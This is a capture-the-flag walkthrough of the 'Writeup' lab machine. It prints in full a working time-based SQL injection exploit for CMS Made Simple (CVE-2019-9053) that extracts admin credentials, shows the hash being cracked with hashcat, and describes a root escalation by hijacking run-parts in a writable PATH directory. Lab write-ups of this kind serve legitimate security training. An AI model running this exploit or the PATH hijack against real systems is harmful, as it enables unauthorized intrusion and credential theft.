Skip to main content

Writeup

Writeup is an easy difficulty Linux box with DoS protection in place to prevent brute forcing. A CMS susceptible to a SQL injection vulnerability is found, which is leveraged to gain user credentials. The user is found to be in a non-default group, which has write access to part of the PATH. A path hijacking results in escalation of privileges to root.

Enumeration

Scanning open ports using nmap

└──╼ $nmap -p- -v -r 10.10.10.138 -T5 | grep open
Discovered open port 22/tcp on 10.10.10.138
Discovered open port 80/tcp on 10.10.10.138

The port 22 for SSH and port 80 for HTTP are open. Performing default and vulnerability script scan for these ports.

└──╼ $nmap -sCV 10.10.10.138 -p80,22
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-08 16:20 AEDT
Nmap scan report for writeup.htb (10.10.10.138)
Host is up (1.1s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
| ssh-hostkey:
| 256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)
|_ 256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-title: Nothing here yet.
| http-robots.txt: 1 disallowed entry
|_/writeup/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

robots.txt file shows that /writeup is allowed to visit. Adding the ip hostname entry to /etc/hosts.

└──╼ $echo '10.10.10.138    writeup.htb' | sudo tee -a /etc/hosts

Checking the website http://writeup.htb/writeup/

Inspecting the source code.

This reveals that it is using CMS Made Simple - Copyright (C) 2004-2019 Searching cms made simple github on google shows its source code here. From navigating through the code we can see that we can see below files.

CHANGELOG.txt file looks interesting as it shows the version number of latest code.

Checking http://writeup.htb/writeup/doc/CHANGELOG.txt to see the changelog

Vulnerability Discovery

The version of CMS made simple is Version 2.2.9.1. Searching for exploits for this version.

──╼ $searchsploit cms made simple 2.2.9.1
---------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
CMS Made Simple < 2.2.10 - SQL Injection | php/webapps/46635.py
---------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Found the CVE-2019-9053 (SQL Injection) exploit. Checking the exploit and mirroring to current dir. Below is the exploit.py file

#!/usr/bin/env python
# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
# Date: 30-03-2019
# Exploit Author: Daniele Scanu @ Certimeter Group
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/
# Version: <= 2.2.9
# Tested on: Ubuntu 18.04 LTS
# CVE : CVE-2019-9053

import requests
from termcolor import colored
import time
from termcolor import cprint
import optparse
import hashlib

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False)

options, args = parser.parse_args()
if not options.url:
print "[+] Specify an url target"
print "[+] Example usage (no cracking password): exploit.py -u http://target-uri"
print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist"
print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based."
exit()

url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
session = requests.Session()
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
flag = True
password = ""
temp_password = ""
TIME = 5 # changing the time to 5 from 1 for reliable output
db_name = ""
output = ""
email = ""

salt = ''
wordlist = ""
if options.wordlist:
wordlist += options.wordlist

def crack_password():
global password
global output
global wordlist
global salt
dict = open(wordlist)
for line in dict.readlines():
line = line.replace("\n", "")
beautify_print_try(line)
if hashlib.md5(str(salt) + line).hexdigest() == password:
output += "\n[+] Password cracked: " + line
break
dict.close()

def beautify_print_try(value):
global output
print "\033c"
cprint(output,'green', attrs=['bold'])
cprint('[*] Try: ' + value, 'red', attrs=['bold'])

def beautify_print():
global output
print "\033c"
cprint(output,'green', attrs=['bold'])

def dump_salt():
global flag
global salt
global output
ord_salt = ""
ord_salt_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_salt = salt + dictionary[i]
ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_salt)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
salt = temp_salt
ord_salt = ord_salt_temp
flag = True
output += '\n[+] Salt for password found: ' + salt

def dump_password():
global flag
global password
global output
ord_password = ""
ord_password_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_password = password + dictionary[i]
ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_password)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users"
payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
password = temp_password
ord_password = ord_password_temp
flag = True
output += '\n[+] Password found: ' + password

def dump_username():
global flag
global db_name
global output
ord_db_name = ""
ord_db_name_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_db_name = db_name + dictionary[i]
ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_db_name)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
db_name = temp_db_name
ord_db_name = ord_db_name_temp
output += '\n[+] Username found: ' + db_name
flag = True

def dump_email():
global flag
global email
global output
ord_email = ""
ord_email_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_email = email + dictionary[i]
ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_email)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
email = temp_email
ord_email = ord_email_temp
output += '\n[+] Email found: ' + email
flag = True

dump_salt()
dump_username()
dump_email()
dump_password()

if options.cracking:
print colored("[*] Now try to crack password")
crack_password()

beautify_print()

How the Exploit Works

  1. Takes Input Parameters
    • -u (URL of the target CMS)
    • -w (Wordlist for password cracking)
    • -c (Enable password cracking)
  2. Performs a Time-Based SQL Injection
    • Uses a blind SQL injection attack, relying on time delays to infer values.
    • Extracts salt, username, email, and password hash from the database.
  3. Uses Brute-Force to Extract Values Character by Character
    • Iterates through a dictionary of possible characters.
    • Appends each correct character to reconstruct the full values.

Exploitation

Executing the exploit.py with Python v2.

└──╼ $python2 exploit.py -u http://writeup.htb/writeup

[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7

This gives the password hash. Let's identify its mode.

┌─[hexadivine@parrot]─[~]
└──╼ $hashcat '62def4866937f08cc13bab43bb14e6f7:5a599ef579066807'
hashcat (v6.2.6) starting in autodetect mode

OpenCL API (OpenCL 3.0 PoCL 3.1+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-skylake-avx512-11th Gen Intel(R) Core(TM) i7-11800H @ 2.30GHz, 6831/13727 MB (2048 MB allocatable), 16MCU

The following 20 hash-modes match the structure of your input hash:

# | Name | Category
======+============================================================+======================================
10 | md5($pass.$salt) | Raw Hash salted and/or iterated
20 | md5($salt.$pass) | Raw Hash salted and/or iterated
3800 | md5($salt.$pass.$salt) | Raw Hash salted and/or iterated
3710 | md5($salt.md5($pass)) | Raw Hash salted and/or iterated
4110 | md5($salt.md5($pass.$salt)) | Raw Hash salted and/or iterated
4010 | md5($salt.md5($salt.$pass)) | Raw Hash salted and/or iterated
21300 | md5($salt.sha1($salt.$pass)) | Raw Hash salted and/or iterated
40 | md5($salt.utf16le($pass)) | Raw Hash salted and/or iterated
3910 | md5(md5($pass).md5($salt)) | Raw Hash salted and/or iterated
4410 | md5(sha1($pass).$salt) | Raw Hash salted and/or iterated
21200 | md5(sha1($salt).md5($pass)) | Raw Hash salted and/or iterated
30 | md5(utf16le($pass).$salt) | Raw Hash salted and/or iterated
50 | HMAC-MD5 (key = $pass) | Raw Hash authenticated
60 | HMAC-MD5 (key = $salt) | Raw Hash authenticated
1100 | Domain Cached Credentials (DCC), MS Cache | Operating System
12 | PostgreSQL | Database Server
2811 | MyBB 1.2+, IPB2+ (Invision Power Board) | Forums, CMS, E-Commerce
2611 | vBulletin < v3.8.5 | Forums, CMS, E-Commerce
2711 | vBulletin >= v3.8.5 | Forums, CMS, E-Commerce
23 | Skype | Instant Messaging Service

Please specify the hash-mode with -m [hash-mode].

Started: Sat Mar 8 19:52:49 2025
Stopped: Sat Mar 8 19:52:49 2025

Tried with -m 10 but didn't work. So trying with -m 20

┌─[✗]─[hexadivine@parrot]─[~]
└──╼ $hashcat '62def4866937f08cc13bab43bb14e6f7:5a599ef579066807' -m 20 /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 3.1+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-skylake-avx512-11th Gen Intel(R) Core(TM) i7-11800H @ 2.30GHz, 6831/13727 MB (2048 MB allocatable), 16MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimim salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 4 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

62def4866937f08cc13bab43bb14e6f7:5a599ef579066807:raykayjay9

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 20 (md5($salt.$pass))
Hash.Target......: 62def4866937f08cc13bab43bb14e6f7:5a599ef579066807
Time.Started.....: Sun Feb 9 18:11:04 2025 (1 sec)
Time.Estimated...: Sun Feb 9 18:11:05 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 7412.1 kH/s (0.55ms) @ Accel:1024 Loops:1 Thr:1 Vec:16
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 4374528/14344385 (30.50%)
Rejected.........: 0/4374528 (0.00%)
Restore.Point....: 4358144/14344385 (30.38%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: raynerleow -> rasdee
Hardware.Mon.#1..: Temp: 38c Util: 8%

Started: Sun Feb 9 18:10:53 2025
Stopped: Sun Feb 9 18:11:05 2025
┌─[hexadivine@parrot]─[~]

Here I found the password raykayjay9 for username jkr. Trying these details to login to SSH.

After SSH we can grab the user flag.

Enumeration for Root

After enumerating everything I know - a hint helped me to move forward. The hint was use pspy to view running processes. Below is the output of pspy

jkr@writeup:~$ ./pspy
pspy - version: 1.2.1 - Commit SHA: kali


██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2025/03/05 06:33:00 CMD: UID=1000 PID=2574 | ./pspy
2025/03/05 06:33:00 CMD: UID=0 PID=2562 |
2025/03/05 06:33:00 CMD: UID=33 PID=2510 | /usr/sbin/apache2 -k start
2025/03/05 06:33:00 CMD: UID=33 PID=2509 | /usr/sbin/apache2 -k start
2025/03/05 06:33:00 CMD: UID=33 PID=2508 | /usr/sbin/apache2 -k start
2025/03/05 06:33:00 CMD: UID=33 PID=2507 | /usr/sbin/apache2 -k start
2025/03/05 06:33:00 CMD: UID=33 PID=2506 | /usr/sbin/apache2 -k start
2025/03/05 06:33:00 CMD: UID=1000 PID=2354 | -bash
2025/03/05 06:33:00 CMD: UID=1000 PID=2353 | sshd: jkr@pts/0
2025/03/05 06:33:00 CMD: UID=0 PID=2347 | sshd: jkr [priv]
2025/03/05 06:33:00 CMD: UID=0 PID=2269 |
2025/03/05 06:33:00 CMD: UID=0 PID=2094 | /sbin/getty 38400 tty6
2025/03/05 06:33:00 CMD: UID=0 PID=2093 | /sbin/getty 38400 tty5
2025/03/05 06:33:00 CMD: UID=0 PID=2092 | /sbin/getty 38400 tty4
2025/03/05 06:33:00 CMD: UID=0 PID=2091 | /sbin/getty 38400 tty3
2025/03/05 06:33:00 CMD: UID=0 PID=2090 | /sbin/getty 38400 tty2
2025/03/05 06:33:00 CMD: UID=0 PID=2089 | /sbin/getty 38400 tty1
2025/03/05 06:33:00 CMD: UID=0 PID=1998 | sshd: /usr/sbin/sshd [listener] 0 of 10-100 startups
2025/03/05 06:33:00 CMD: UID=0 PID=1925 | logger -t mysqld -p daemon error
2025/03/05 06:33:00 CMD: UID=103 PID=1924 | /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/x86_64-linux-gnu/mariadb18/plugin --user=mysql --skip-log-error --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306
2025/03/05 06:33:00 CMD: UID=0 PID=1818 | /usr/bin/python3 /usr/bin/fail2ban-server -s /var/run/fail2ban/fail2ban.sock -p /var/run/fail2ban/fail2ban.pid -b
2025/03/05 06:33:00 CMD: UID=0 PID=1776 | /bin/bash /usr/bin/mysqld_safe
2025/03/05 06:33:00 CMD: UID=0 PID=1706 | /usr/sbin/elogind -D
2025/03/05 06:33:00 CMD: UID=101 PID=1664 | /usr/bin/dbus-daemon --system
2025/03/05 06:33:00 CMD: UID=0 PID=1654 | /usr/sbin/cron
2025/03/05 06:33:00 CMD: UID=0 PID=1579 | /usr/sbin/apache2 -k start
2025/03/05 06:33:00 CMD: UID=0 PID=1532 | /usr/bin/vmtoolsd
2025/03/05 06:33:00 CMD: UID=0 PID=1507 | /usr/sbin/rsyslogd
2025/03/05 06:33:00 CMD: UID=0 PID=1270 | dhclient -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
2025/03/05 06:33:00 CMD: UID=0 PID=511 |
2025/03/05 06:33:00 CMD: UID=0 PID=452 |
2025/03/05 06:33:00 CMD: UID=0 PID=439 |
2025/03/05 06:33:00 CMD: UID=0 PID=438 |
2025/03/05 06:33:00 CMD: UID=0 PID=393 | udevd --daemon
2025/03/05 06:33:00 CMD: UID=0 PID=188 |
2025/03/05 06:33:00 CMD: UID=0 PID=187 |
2025/03/05 06:33:00 CMD: UID=0 PID=3 |
2025/03/05 06:33:00 CMD: UID=0 PID=2 |
2025/03/05 06:33:00 CMD: UID=0 PID=1 | init [2]
2025/03/05 06:33:01 CMD: UID=0 PID=2581 | /usr/sbin/CRON
2025/03/05 06:33:01 CMD: UID=0 PID=2582 | /usr/sbin/CRON
2025/03/05 06:33:01 CMD: UID=0 PID=2583 | /bin/sh -c /root/bin/cleanup.pl >/dev/null 2>&1
2025/03/05 06:34:01 CMD: UID=0 PID=2585 | /usr/sbin/CRON
2025/03/05 06:34:01 CMD: UID=0 PID=2586 | /usr/sbin/CRON
2025/03/05 06:34:01 CMD: UID=0 PID=2587 | /bin/sh -c /root/bin/cleanup.pl >/dev/null 2>&1
2025/03/05 06:34:19 CMD: UID=0 PID=2588 | sshd: [accepted]
2025/03/05 06:34:19 CMD: UID=0 PID=2589 | sshd: [accepted]
2025/03/05 06:34:55 CMD: UID=0 PID=2590 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2025/03/05 06:34:55 CMD: UID=0 PID=2591 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2025/03/05 06:34:55 CMD: UID=0 PID=2592 | run-parts --lsbsysinit /etc/update-motd.d
2025/03/05 06:34:55 CMD: UID=0 PID=2593 | uname -rnsom
2025/03/05 06:34:55 CMD: UID=0 PID=2594 | sshd: jkr [priv]
2025/03/05 06:34:57 CMD: UID=1000 PID=2595 | -bash
2025/03/05 06:34:57 CMD: UID=1000 PID=2597 | -bash
2025/03/05 06:34:57 CMD: UID=1000 PID=2596 | -bash
2025/03/05 06:34:57 CMD: UID=1000 PID=2598 | -bash
2025/03/05 06:34:57 CMD: UID=1000 PID=2599 | -bash
2025/03/05 06:35:01 CMD: UID=0 PID=2600 | /usr/sbin/CRON
2025/03/05 06:35:01 CMD: UID=0 PID=2601 | /usr/sbin/CRON
2025/03/05 06:35:01 CMD: UID=0 PID=2602 | /bin/sh -c /root/bin/cleanup.pl >/dev/null 2>&1

We see run-parts runs as root (by its UID=0). To remind we are also in staff group. which lets edit files in /usr/local/sbin.

This code in run-parts file assigns SUID bit to /bin/bash (which help run bash as root (owner) from any user). Let'u give this file executable permission.

jkr@writeup:~$ chmod +x /usr/local/sbin/run-parts

Now, for run-parts file to execute we need to SSH from another terminal.

This should have executed run-parts from from /usr/local/sbin folder instead of real file. Let's check if we can elevate privileges.

As we can see we are root and we can capture the root flag.